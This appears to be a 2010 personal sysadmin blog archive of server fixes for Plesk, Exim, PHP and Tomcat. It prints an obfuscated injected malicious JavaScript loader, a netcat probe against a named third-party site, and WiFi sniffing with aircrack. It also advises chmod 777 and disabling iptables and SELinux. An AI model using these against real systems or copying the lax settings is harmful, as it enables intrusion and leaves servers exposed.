Posts

Showing posts from 2010

Metasploit on Mac installed using MacPorts

Adam-Othmans-MacBook-Pro:scratch adam$ cd /opt/local/var/macports/software/metasploit3/3.0_0/opt/local/libexec/metasploit3/ Adam-Othmans-MacBook-Pro:metasploit3 adam$ svn update Skipped '.' Adam-Othmans-MacBook-Pro:metasploit3 adam$ A lil ref from here : http://www.jeffcross.me/2009/04/28/installing-metasploit-on-mac-os-x/ Just a side note for me. :) //alak

DUmp RAW WiFi packets on Mac?

Well, as the ttitle suggest, this might be inetersting. Run this in your terminal: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport Warning: it will disconnect you from your current connection. Quoted from here : i know this thread is pretty dead, but for anyone else who might stumble upon this, here's an easy way to sniff packets: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport is a binary that'll do many nifty things... run it without any arguments to get a list of options... specifically, "sudo airport sniff" (obviously, after making a link to the binary) will output a .cap file to /tmp... then you just need to run aircrack on that file... only downer is that you can't see how many packets you've collected so far... closest you could do is run something like "du /tmp/*.cap" and keep track of how large the file's getting Need further exploring tho.. //al

MBSA - Microsoft Baseline Security Analyzer

Image
I came to an asigbment that reuiqres me to use MBSA. Wadehel? i never used this tool before. well, it turns out its quite direct enough. a brief example, a copy paste from here and there. Hope this helps anyone. MBSA basically uses "Remote Registry" and SMB to login and gather all data it wants. it can check ffor few things: ok.. skip the intro, more info go rtfm here : http://technet.microsoft.com/en-us/security/cc184924.aspx Erm, the stupid simple working is that the PC which is canning, and the target PC must have the same password/username, so that MBSA will then login and check for what it needs, and the username must have administrative privilleges. so, is there anyway that you cna set the username/password in mbsa.exe? NO! is there anyway you can login as a domain account in your scanning pc, because the target pc is using domain logins? NO. stupid . solution? use mbsacli.exe. Yup command line. Heres what i did; in my case, i needed to login as a domain accoun

imapsync: message_string() expected 8566 bytes but received 8669 you may need the IgnoreSizeErrors option

just add --allowsizemismatch option. Example of error messgae: + NO msg #5476968 [dTkIqMjW1jowM+BZzumd1w] in INBOX + Copying msg #5476968:135936 to folder INBOX Could not fetch message #5476968 from INBOX: message_string() expected 135936 bytes but received 136709 you may need the IgnoreSizeErrors option Taken here : http://www.linux-france.org/prj/imapsync_list/msg00421.html Tips: if you wnat it to even faster, ad --skipsize so it wont get the folder size each time, befiore it copies over the emails. //alak

Determine script name behind a mod_rewrite

Qouted from here : http://ptresearch.blogspot.com/2010/09/fuzzing-of-modrewrite-protected-site.html?showComment=1284996551492#c3759944444184118630 0x32353031 said... determining the script name is pretty easy. just a lil trick to use: H=ha.ckers.org; echo -ne "POST /blog/category/webappsec/books/ HTTP/1.1\nHost: $H\nConnection: close\nContent-length: x\n\n" | nc $H 80 | less note the content-length field's value... its invalid :P This will produce a simple HTTP/1.1 413 Request Entity Too Large, with a common 413 error message/html followed by the site's code. take a closer look... HTTP/1.1 413 Request Entity Too Large Date: Mon, 20 Sep 2010 14:56:41 GMT Server: Apache Connection: close Content-Type: text/html; charset=iso-8859-1 !DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN" html head title 413 Request Entity Too Large /title head body h1 Request Entity Too Large /h1 The reque

Unable to set up mailbox quota for this domain: setDomainDiskQuota() failed: mailmng failed: Invalid index. (COM Error 8002000B)

Error while updating Limit for a spesific domain in PLESK 8.2.0 Windows Googled, and found this: http://forum.parallels.com/showthread.php?t=89683 Solution: cd %plesk_bin% mchk --all --fix=all BUTTTTTTTTT in my case, that was not the solutions actually.. what happen was, the domain has reached its expiry date, thus PELSK auto suspend. But when it suspends, it actually disabled the mail service as well, SOOOOO, what you have to do actually is, 1) Go to Mail > Enable 2) Limits > Set expiry date 3) Switch On. Done. //alak

Two domains, 1 hosting, domain alias, and $_SERVER['SERVER_NAME']

One hosting, and have two domain, one primary and one more alias. But the alias is only to be pointed into one of the subdirectory, and main domain hppy as it is. Example: public_html/ <- main domain take from here -- dir1/ -- dir2/ -- 2nddomain/ <-- domain alias from here --- index.html -- dir3/ - index.php So, in root directory, in this case public_html/ create index.php as below: <? if ( $_SERVER['SERVER_NAME'] == "number1.ac.com.my") header("Location: http://number1.ac.com.my/number1/"); else header("Location: http://anotherweb.com.my/index.php");; ?> Ok. Good luck. Thanks //alak

Tomcat 6 and JDK 1.6

Installing Tomcat 6 =================== yum only gives tomcat5. So, yum remove tomcat5 -y cd /usr/share wget http://lawyersdb.com/mirrors/apache/ant/binaries/apache-ant-1.8.1-bin.tar.gz tar xvzf apache-ant-1.8.1-bin.tar.gz ln -s /usr/share/apache-ant-1.7.1/bin/ant /usr/local/bin mkdir /usr/local/tomcat wget http://lawyersdb.com/mirrors/apache/tomcat/tomcat-6/v6.0.28/bin/apache-tomcat-6.0.28.tar.gz tar xvzf apache-tomcat-6.0.28.tar.gz mv apache-tomcat-6.0.28/* ./ rm -rf apache-tomcat-6.0.28 Go get /etc/init.d/tomcatd startup script frm ns38 or google around. chown -R root:tomcat /usr/local/tomcat/ chown -R tomcat:tomcat /usr/local/tomcat/temp/ chown -R tomcat:tomcat /usr/local/tomcat/logs/ chown -R root:root /usr/local/tomcat/bin/ Next, test, maybe cannot start. Why? make sure this details are acordingly in /etc/init.d/tomcatd # chkconfig: 345 84 16 # description: Tomcat jakarta JSP server TOMCAT_HOME=/usr/local/tomcat TOMCAT_START=$TOMCAT_HOME/bin/startup.sh TOMCAT_STOP=$TOMCAT

Checking .NET framework Version installed on Server

Method 1: <%@ Page Language="VB" %> <html lang="en"> <head> <title>.NET version</title> </head> <body> <p>.NET version is: <%= System.Environment.Version.ToString() %> </p></body> </html> And save it to ayam.aspx Method 2: Go remote the server, and Open my computer, and paste this on url bar: %systemroot%\Microsoft.NET\Framework and see whats folder is there? Ref: http://social.msdn.microsoft.com/Forums/en-US/xmlandnetfx/thread/3076a78d-da31-4f3c-8c8d-cdbc33f29041 http://support.microsoft.com/kb/318785 http://en.wikipedia.org/wiki/.NET_Framework http://www.west-wind.com/weblog/posts/289139.aspx http://stackoverflow.com/questions/212896/how-do-the-net-framework-clr-and-visual-studio-version-numbers-relate-to-each-o //alak

DotNetNuke : Checking DNN version

The easiest way is listed first, thought alternatives are provided as well. Checking the version with "Super User" access If the site in question is up and running and you have a super-user login (typically the "host" user), the version information is displayed at the top of the "Host Settings" page under the "Host" menu. Checking the version from the database If the site isn't running properly, or you don't have a login, and you can access the database, you can query the "Version" table to find out the version. The following query will return the proper version number, assuming an objectQualifier was not used when DotNetNuke was installed. If it was, you'll want to look up the table name, which may be dnn_Version. select top 1 * from version order by createddate desc Checking the version from the file system Alternatively, you can find the DotNetNuke.dll in the website's bin directory and inspect its version. Rig

SquirrelMail : "The requested URL /src/right_main.php was not found on this server."

This happens very oddly. The sitation is that you login to webmail, then can view, edit, delet move, read everything Okie, except when after you compose, then click on "Send" button, the error came out. it first asks for https verification, then the error. Further reading: http://sourceforge.net/tracker/index.php?func=detail&aid=1521299&group_id=311&atid=100311 http://readlist.com/lists/lists.sourceforge.net/squirrelmail-users/0/1876.html Seems the self-guess bu SquirelMail is wrong, as in requesting http://you.webmail.com/src/configtest.php You will see whats the requested URL. The fix? Im not sure whether its the fix, i believe its a config thingy. 1) vi to config/config.php 2) search for "config_location_base" 3) If you notice, on line 126, theres : $domain = $_SERVER['SERVER_NAME']; So, i have set my $config_location_base to like this: $config_location_base = 'http://'.$domain; then? Gao Dim! kudos jwchai hmlee google /alak

Warning: Cannot modify header information - headers already sent

Hi, this "Warning: Cannot modify header information - headers already sent General ... The "headers already sent" error i encountered all this while is caused by one thing only. And this one thing is that data already sent/echoed out PRIOR to header() function is called. Of course this can be two things also: 1) there is a 'whitespace' before your <?php sign. This may be caused by text editor that encodings is dif than UTF-8, this on is easily fixed, justs earch and delete the stupid fsking whitespaces. 2) Well, like i said, there already some data sent/echoed PRIOR to header() function. header() function hsould be the first thing sent out to browsers, before anything else. Well, lets have an example: require("include/class.phpmailer.php"); $mail = new PHPMailer(); $mail->IsSMTP(); $mail- > Host = "localhost"; $mail- > SMTPAuth = true; $mail- > SMTPDebug =2; $mail- >

Wali - Egokah Aku

Image
Ku… tak pernah merasa Gundah di hatiku, Ketika denganmu Saat kau, Kau belai rambutku Kau temani aku, Kau basuh lukaku Kini semua berlalu Karena engkau tak memilihku Salahkah aku mencintaimu Walau kutahu kutak dihatimu Egokah aku memilikimu Walau kutahu kau tak memilihku Kuharap tuhan cabut nyawamu Agar tak ada yang milikimu Sadarkah kini ku tak rela Iman ku telah sirna Mimpiku tak nyata Kini semua berlalu Karena engkau tak memilihku Salahkah aku mencintaimu Walau kutahu kutak dihatimu Egokah aku memilikimu Walau kutahu kau tak memilihku Kuharap tuhan cabut nyawamu Agar tak ada yang milikimu Kuharap tuhan cabut nyawamu Agar tak ada yang milikimu Source : http://adx21.wordpress.com/2008/07/12/lirik-lagu-wali-egokah-aku/ //alak

MySQL : ERROR 1452 (23000) at line 11426: Cannot add or update a child row: a foreign key constraint fails

So i am trying to restore a database from one server to another. Something like this: mysql -u username -p -D dbname < backup.sql Somehow there is this error: [root@ns46 mysql]# mysql -u haocheap -p -D haocheap < /tmp/ayam.sql Enter password: ERROR 1452 (23000) at line 11426: Cannot add or update a child row: a foreign key constraint fails (`haocheap/#sql-bb2_5ef8a`, CONSTRAINT `FK_EAV_ENTITY_ATTRIBUTE_ATTRIBUTE` FOREIGN KEY (`attribute_id`) REFERENCES `eav_attribute` (`attribute_id`) ON DELETE CASCADE ON UPDATE CASCADE) So where do i get the backup.sql file? i dump it from the old server's phpmyadmin export. using method "INSERT'. Open the file, add this line at top: SET AUTOCOMMIT=0; SET FOREIGN_KEY_CHECKS=0; and these lines at bottom: SET FOREIGN_KEY_CHECKS=1; COMMIT; SET AUTOCOMMIT=1; The theory is, the restore is restoring a database that need some foreign key constraints from another table which has NOT YET been restored. thus the "SET FOR

SFTP user with limited access

Objective: create a sftp user but limited to certain directory ONLY! [root@web.local-01 ]# uname -a Linux web.local 2.6.18-164.6.1.el5 #1 SMP Tue Nov 3 16:12:36 EST 2009 x86_64 x86_64 x86_64 GNU/Linux [root@web.local-01 ]# adduser -d /home/limited/directory/path -g sftp-user username [root@web.local-01 ]# echo "/home/limited/directory/path" >> /etc/shells now testing: adam-othmans-computer:~ alak$ sftp -o Port=9321 username @web.local Connecting to web.local... username @web.local 's password: sftp> ls sftp> mkdir testdir sftp> ls testdir sftp> cd / sftp> ls Couldn't get handle: Permission denied sftp> exit Good! kudos: hmlee, http://www.itworld.com/network-access-control/66828/sftp-only-user-accounts //alak

Exim: Removing frozen mails

So i want to do some frozen mail cleanups in exim. referred to my previous post here but then, found out its not working. Improvised, and came out with this: for i in `/usr/sbin/exim -bp | grep frozen | awk '{print $3}'`; do rm /var/spool/exim/input/`ayam=$i && echo ${ayam:5:1}`/$i*; done; Nope. That's not the solution just yet. Why? Because sifu Kenji gave us these: Useful exim command Check mail queue /usr/sbin/exim -bp check number of mail queue /usr/sbin/exim -bpc flush mail queue /usr/sbin/exim -qff -d -C /etc/exim.conf Check frozen mail /usr/sbin/exim -bpr | grep frozen | wc -l Remove frozen mail /usr/sbin/exim -bpr | grep frozen | awk {‘print $3′} | xargs /usr/sbin/exim -Mrm Go check out his blog : blog.keanchih.co.cc kudos kclee //alak

JFolder::create: Could not create directory Warning! Failed

You can go to the menu : "Help --> System Info" in your administrator site and then go to tab "Directory Permissions" to view what directory need to have permission to write. You must CHMOD those directory to 777 and then all the problems will be solved //alak

Langit

Eit.. o/ Cube tengok langit tu.. Puteh.. Cokelat.. Biru.. Kelabu.. Cube tengok langit tu.. Hijau jingge, kadang2.. x tentu.. Cube tengok langit tu.. Biasalah.. adap die dh gitu.. Sunnatullah.. Dah tertulis dlm buku.. Kalau puteh okmo, kang panah dering pulok.. Kalau cokelat pulop, ho, ok a.. mendung senja nk berkaseh madu XD Biru? Ouh! Mmg kuor lake a, beriang rie, bersuke bergalok.. Hm.. kalau dah x kelabu, bile nye air nk jatuh x berlagu? Gitu lah eh.. :)~ //tadop kije.. saje nk menaip.. //alak

installing Perl Modules - Mac OS X

Hi, What i did to install couple of modules to my Perl. What i wanted was File::Listing IO:Handle File::Find and Net::FTP. First, i ran: alak$ sudo perl -MCPAN -e shell and it prompts for some auto configuration stuff, i choose [Yes]. Would you like me to configure as much as possible automatically? [yes] Ok, a hell lot of text on screen, and at the bottom end: ............... New CPAN.pm version (v1.9402) available. [Currently running version is v1.9301] You might want to try install CPAN reload cpan to both upgrade CPAN.pm and run the new version without leaving the current session. ............... Ouh! Update, ok.. i'll update first: cpan[2]> install CPAN Running install for module 'CPAN' CPAN: Data::Dumper loaded ok (v2.121_17) ... .... [truncated] ... CPAN: File::Temp loaded ok (v0.20) CPAN.pm: Going to build A/AN/ANDK/CPAN-1.9402.tar.gz Checking if your kit is complete... Looks good Warning: prerequisite File::HomeDir 0.69 not found. Writing Mak

PLESK: Disk usage statistics showing wrong data [Part 1]

Image
So have encountered this isue many time,s and now only that i have the real intention to solve it, instead of following previous template replies.. haha XD Whats tyhe issue? Well, when a user logs in into his or her PLESK control panel, he will see the disk suage and bandwith usage, and for this particular customer, he was given 00GB disk, and yet, he just used few hundred megs but stupid PLESK is howing 11 GB overused. Screen shot: So googled, and found out some hints, and run these: C:\Program Files\SWsoft\Plesk\admin\bin>statistics.exe --all --process-domains=m yperfectgas.com --verbose Save FTP logs 2: '' HTTP logs 2: '' mail logs 2: '' Webalizer V2.01-10-RB02 (Windows NT 5.2 Service Pack 2) English Using DNS cache file C:\Program Files\SWsoft\Plesk\tmp\webalizer.cache Creating output in C:\inetpub\vhosts\myperfectgas.com\statistics\webstat Hostname for reports is 'myperfectgas.com' Reading history file... webalizer.hist Reading previous run

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent

I had this problem on my clients site. Wordpress. /wp-admin/ page. with SI-Captcha plugin. Error was: Warning: session_start () [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /home/epinula/domains/epinula.com/public_html/wp-includes/default-embeds.php 54) in /home/epinula/domains/epinula.com/public_html/wp-content/plugins/si-captcha-for-wordpress/si-captcha.php on line 965 Warning: Cannot modify header information - headers already sent by (output started at /home/epinula/domains/epinula.com/public_html/wp-includes/default-embeds.php:54) in /home/epinula/domains/epinula.com/public_html/wp-includes/pluggable.php on line 868 So, i googled, found this link : http://forums.digitalpoint.com/showthread.php?t=475425 And did these: root~: vi /home/epinula/domains/epinula.com/public_html/wp-content/plugins/si-captcha-for-wordpress/si-captcha.php and add " ob_start("ob_gzhandler"); " just 2nd line, after " &

Cleaning Malicious Javascripts

So one of the users has been infected with this stupid malicious javascripts. Its an evil javascript that will open / include a url, on another site which opens up a attacj site, driveby download, xss, et cetera.. Heres the stupid code: var t=new String();var y;if(y!='o'){y='o'};var VX;if(VX!='yw' && VX != ''){VX=null};var O='';function d(){var yM;if(yM!='' && yM!='AM'){yM=null};this.DT='';var ywS;if(ywS!=''){ywS='Nv'};this.AQ='';var Vz;if(Vz!='' && Vz!='NO'){Vz=null};var I=window;var eE;if(eE!='oH' && eE != ''){eE=null};var eY;if(eY!='kR' && eY != ''){eY=null};var wm="";var W=I['unescape'];var V=W("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6d%65%69%6e%76%7a%2e%6e%65%74%2f%76%65%72%79%63%64%2e%63%6f%6d%2e%70%68%70");var kM="";this.q="";var wn=new Array();var fp;if(fp!=

DNSZone::Table::select() failed: no such row in the table

So that error came. It so happen a user mistakenly suspendd the account, and when he tries to unsusped it, the error comes out. SO what do we have to do? To be honest im not sure myself, just try2 googing around. Heres what i did: 1) Open CMD as ADMINISTRATOR (importatnt to "run as administrator" 2) C:\>"%plesk_bin%"\dbclient.exe --direct-sql --sql="INSERT INTO dns_zone (name, displayName, email) VALUES ('poesyliang.net', 'poesyliang.net', 'user@email.com');" 3) C:\>"%plesk_bin%"\dbclient.exe --direct-sql --sql="SELECT id, name FROM dns_zone where name='poesyliang.net';" id name 46 poesyliang.net 47 poesyliang.net 4) C:\>"%plesk_bin%"\dbclient.exe --direct-sql --sql="UPDATE domains SET dns_zone_id='47' WHERE name='poesyliang.net';" And wallah! :D Thans for guides here : http://www.supportsages.com/blog/2009/08/plesk-account-unsuspension-tab

Installing PEAR::Mail class

here wut i did: Check wuts been installed: [root@ns46 /]# /usr/local/bin/pear list Installed packages, channel pear.php.net: ========================================= Package Version State Archive_Tar 1.3.3 stable Console_Getopt 1.2.3 stable PEAR 1.8.0 stable Structures_Graph 1.0.2 stable XML_Util 1.2.1 stable I see no Mail or Net_SMTP there, hmm.. lets install it! But first, lets update our channels. [root@ns46 /]# /usr/local/bin/pear update-channels Updating channel "doc.php.net" Channel "doc.php.net" is up to date Updating channel "pear.php.net" Update of Channel "pear.php.net" succeeded Updating channel "pecl.php.net" Update of Channel "pecl.php.net" succeeded Good! Now install it. [root@ns46 /]# /usr/local/bin/pear install pear/Mail Did not download optional dependencies: pear/Net_SMTP, use --alldeps to download automatically pear/Mail can optionally use package "pe

PHP Warning: PHP Startup: Unable to load dynamic library './xcache.so' - ./xcache.so: cannot open shared object file: No such file or directory in Un

So receive this warning on few servers? Why? As the error says, cannot load, the file might not b there. Wut to do? check. [root@ns46 cur]# /usr/local/bin/php -v PHP Warning: PHP Startup: Unable to load dynamic library './xcache.so' - ./xcache.so: cannot open shared object file: No such file or directory in Unknown on line 0 PHP 5.2.10 (cli) (built: Jul 7 2009 02:36:57) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies with Zend Extension Manager v1.2.2, Copyright (c) 2003-2007, by Zend Technologies with Zend Optimizer v3.3.3, Copyright (c) 1998-2007, by Zend Technologies Lets see config file. Wait, which config file? check. [root@ns46 cur]# /usr/local/bin/php -i | grep Loaded PHP Warning: PHP Startup: Unable to load dynamic library './xcache.so' - ./xcache.so: cannot open shared object file: No such file or directory in Unknown on line 0 Loaded Configuration File => /usr/local/Zend/etc/php.ini [root@ns

Installing Directadmin : The Manual Way

# # Directadmin installation - Alak # screen rm -f /usr/lib/libexpat.so ln -s /usr/lib64/libexpat.so /usr/lib/libexpat.so # Make /da directory as installation dir # mkdir /da cd /da wget http://www.directadmin.com/setup.sh chmod 755 setup.sh ./setup.sh UID: LID: FQDN: # Apache choose option 2 # with default configs for apache 2.2 and php5 cli # then wait till like 15 minutes (seriously wor..) # # Del existing mysql? YES # # after installation complete perform Auto updater in DirectAdmin # mkdir -p /usr/local/updatescript cd /usr/local/updatescript wget http://tools.web4host.net/update.script chmod 755 update.script ./update.script DATE * not neseccary ./update.script UPDATEME ./update.script CLAMAV # then, again, wait.. the script do its thingy.. # Next, to configure spams stuff.. # vi /etc/exim.conf # before primary_hostname = # add av_scanner = clamd:/tmp/clamd # after check_message: # WARNING! NOT acl_smtp_data = check_message # NOTE! BEFORE the 'accept' line.

Running cgi scripts on server

Hi, Hosting cgi-bin directory exist for sumthing, and its for running cgi scripts! :D How? well, this is for my own benefit, and if this helps you guys out there, good. First, a perl script, just create a simple hello world as below, and save it as test.pl #!/usr/bin/perl # test.pl -- my first perl script! print "Content-type: text/html\n\n"; print "Hello, world!\n"; Ok now, some explanations: #!/usr/bin/perl <-- This line is th full path of the binary to run the script, in this case, is perl, and my server full path is /usr/bin/perl, but this may vary for different servers, some may have /usr/locl/bin/perl or perhaps /sbin/perl.. im not sure myself. haha OUH, IMPORTANT! for linux server, just CHMOD it to 700 cause in my case, if i dont do that, my /var/log/httpd/domains/adam.ns52.small-dns.net.error.log will spit out this error: [Sun Mar 21 04:11:59 2010] [error] [client 121.121.147.128] suexec policy violation: see suexec log for more details [Sun Mar 21

Exim retry rules

Edit the /etc/exim.conf 32.8 Retry rule examples Here are some example retry rules: alice@wonderland.fict.example quota_5d F,7d,3h wonderland.fict.example quota_5d wonderland.fict.example * F,1h,15m; G,2d,1h,2; lookingglass.fict.example * F,24h,30m; * refused_A F,2h,20m; * * F,2h,15m; G,16h,1h,1.5; F,5d,8h The first rule sets up special handling for mail to alice@wonderland.fict.example when there is an over-quota error and the mailbox has not been read for at least 5 days. Retries continue every three hours for 7 days. The second rule handles over-quota errors for all other local parts at wonderland.fict.example; the absence of a local part has the same effect as supplying “*@”. As no retry algorithms are supplied, messages that fail are bounced immediately if the mailbox has not been read for at least 5 days. The third rule handles all other errors at wonderland.fict.example; retries happen every 15 min

PHP v5.3.1 + PEAR + Ioncube Loader + Xcache + Memcache + MySQL (64bit) v5.1.43 + Lighttpd v1.4.26

Client ask to install these: PHP v5.3.1 + PEAR + Ioncube Loader + Xcache + Memcache > > > - MySQL (64bit) v5.1.44 > > > - Lighttpd v1.4.26 Here goes: ssh 43.200 --> scp -r /ips1 root@44.82:/ (will take around 10 minutes) ===== ssh 44.82 MAKE SURE disbale iptables and selinux/enforce is 0. IF NOT GOT ERROR STARTING MYSQL. cd /ips1 rpm -i *.rpm IF got error, so need to do this: http://bugs.mysql.com/bug.php?id=37165 [root@localhost root]# /etc/init.d/mysql start Starting MySQL...Manager of pid-file quit without updating [FAILED] [root@localhost root]# restorecon -v -R /var/lib/mysql/ [root@localhost root]# /etc/init.d/mysql start Starting MySQL. [ OK ] # # Now installing PHP 5.3.1 # yum install freetype freetype-devel libmcrypt-devel libc-client-devel libjpeg-devel libpng-devel glibc-devel libtool-ltdl-devel gd-devel php-gd -y # # the will be this error if configure stret : # configure: error: Cannot find libmys

SquirellMail: Requested action aborted: error in processing 451 Temporary local problem - please try later

After fresh install Directadmin, got this erro when try to send out email: RROR: Message not sent. Server replied: Requested action aborted: error in processing 451 Temporary local problem - please try later And in /var/log/exim/paniclog is: 2010-03-12 18:00:57 1Nq1ft-0002Ax-0w malware acl condition: clamd: unable to connect to UNIX socket /tmp/clamd (No such file or directory) Solution: vi /etc/clamd.conf look for LocalSocket, uncomment it so it becomes: LocalSocket /tmp/clamd then restart clamav: [root@webapps updatescript]# /etc/init.d/clamd restart Starting clamd daemon: /usr/local/sbin/clamd Starting freshclam daemon: /usr/local/bin/freshclam -d -c 6 [root@webapps updatescript]# then, gao tim! :D Kudos HM Lee. //alak

Hazardous $gt;__$lt;

Image
I got this fom teng. Nope, im not the one who creates this, Nope that 'Adam' is not me. //alak

One mice is complicated enough.. -__-

Have you wondered about the amazing world of mices? Well this mice here refers to the mouse, the computing mouse. the ones you click click to go to your fav pr0n sites. Well, whats so fasinating? well, it may look like a simple dump device, we just move it, it maps the movements to the x and y coordinate on our display units, and depending on the pixel its on, it will responds accordingly (the software/apps). Well... a mouse is much more than just a dump little pointing device.. Types of mouse: - Early mice - Mechanical mouse devices - Opto-mechanical - Optical mice - Laser mice - Color of optical mouse diodes - Glass laser mice - Inertial and gyroscopic mice - 3D mice See? theres shitloads of mices, dont be fooled by those in lowyatts' being just poured down on floors selling for RM3 per piece.. -____-" Then theres issues of connectivity, accelarations, precision, applications of multiple pointers, single buttons, double buttons, tripplets, and Apple stupidy have that mag

Tomcat: Website not showing after adding alias domain in DirectAdmin

the original domain is mdmecard.com the added domain alias is libertyland.com.tw Its still not working, why? simple, just add the <Alias>libertyland.com.tw</Alias> in server.xml tomcat/conf/server.xml <Host name="mdmecard.com" appBase="/home/mdmecard/domains/mdmecard.com/public_html/" autoDeploy="true" deployOnStartup="true" deployXML="true" unpackWARs="true" xmlNamespaceAware="false" xmlValidation="false"> <Alias>www.mdmecard.com</Alias> <Alias>libertyland.com.tw</Alias> <Alias>www.libertyland.com.tw</Alias> <Valve className="org.apache.catalina.valves.AccessLogValve" prefix="to" directory="/home/mdmecard/domains/mdmecard.com/logs"/> <Context path="/manager" docBase="/usr/local/tomcat/server/webapps/mana" <Context path="&

Exim Requested action aborted: error in processing 451 Temporary local problem - please try later

What i did: Clean frozen emails, /etc/init.d/exim restart /etc/init.d/clamd restart found solution here: http://www.directadmin.com/forum/archive/index.php/t-16084.html kudos HMLee //alak

Services

For example, restarting Apache, RedHat: /sbin/service httpd restart FreeBSD: /usr/local/etc/rc.d/httpd restart Debian: /etc/init.d/httpd restart //alak

Exim - Remove frozen emails.

Check mail que: /usr/sbin/exim -bp Remove frozen emails: for i in `/usr/sbin/exim -bp | grep "frozen" | cut -d' ' -f4|grep "1M"`; do rm -f /var/spool/exim/input/$i*;done Kudos howmun, cllee //alak

Move on!

Move on? Lek luh.. haha Anak itik tok wi Mandi dlm kolam Saket ape tok wi sakit sendi tulang Obat ape Tok wi Obat limau lelam Saket ape tok ti saket sendi tulang tok wi? tok wi xpo a.. kawe amek. >:)~ //move on? not yet at least..they still owe me. //alak

MetaBase.xml Request object error 'ASP 0104 : 80004005' Operation not Allowed / Error ’80020009’ Exception occurred

Image
Folks, hear me now.. And you shall be deemed from the sak-es world of winblows.. haih~! So this morning an email came in requesting for editing te max upload filesize limit in IIS.. by default iis allow only max 200kB. So, how o i edit it? Wel.. first googling around, i came to this hit which tells me to edit the c:\Windows\System32\Ientsrv\MetaBase.xml file, change the approriate valur, stop IIS then save the xml file, then re-u IIS and everything would be settled for. I found it here . That stupid 'simple' lottle guide had cost me 60000 heart-pounding/sec moment. demkit! A whole semi-dedicated server was down! Urghhhhhh! >__< and theres also here and here but dude! seriously. DONT! trust me. >.< So, whats the correct way? Well, still an easy one, http://www.eukhost.com/forums/f15/increase-file-upload-size-asp-asp-net-9378/ or here well, why? first, its not involve you stopping IIS, second, it directsly edit the 'running' config, means its beaing ap

I Found It! :D

Well, this is a quick one. I finally ound it! i searched till i stoped searching. It was right there all along, well 'under' there would be much appropricate. But.. How come/ how onn earth it has gotten down there? Under the carpet!? haih~ Never mind that.. at least i've found it.. hehehehe XD~ Now my iPhone is protected again.. :)~Thanx. //alak

It Never was an issue of trust..

Really. I dont think its an issue of you trusting me or im trusting you. Its not that you think i will do things that you dont want me too if you were to trust me. NO. a big no. i think it was never an issue of trust to begin with. Its PERCEPTION. Perception. How things are seen in YOUR view. How you see things. You see a old guy in a suit walking side with a young gorgeos lady, u say shes a hooker. You see a specky holding a book, u say a nerd. You see one person typing some text onto a black box on the screen, u call it hacking. Demmit, shes his daughter, his the curator and that person is doing it support, pinging some routers! grrr! Well, it can't be helped, its your subconcious, its the same thing with terrorist and bombs (no offense meant to anyone). Wuts the first image in your mind? DONT lie to me. Its arabs innit? see? see wut just happen? perception, its implanted in your medula oblungata, (is this correct?), so be it, its the same as "H.A.C.K.e.R". Some dude

ip.my

hye o/ its been a month and a half now, since i first started at ipserverone. Hm.. its good to be where one actually recognize you for what you are. its good to be among those whose passion is the same as yours.its good you dont have to pretend what you are not. :) so, what i do at ips1? whats my post? er... honestly, im not sure myself. ahahaha.. boss.. do provide your staff with name cards la.. at least we can refer to the 'post' there.. haih chincha~ erm.. pehaps im a support engineer or a system engineer.. or rather.. a system support engineer? ahhha NOPE! its a 5 men show. well, technical wise that is.. the boss, who how-in-the-world-he-just-know-everything, and 4 underling.. (mi~ o/ mi~ o/) so basically, all of us do everything. literally everything.. well, not all for me yet maybe.. im just a noobs whos been there for only a month and a half.. joey, and kenji, the seniors.. well, they are what we called demkit-otai-baQ! and howmun, well, hes our programmer :D he is bas

Posting from my Email :D

Image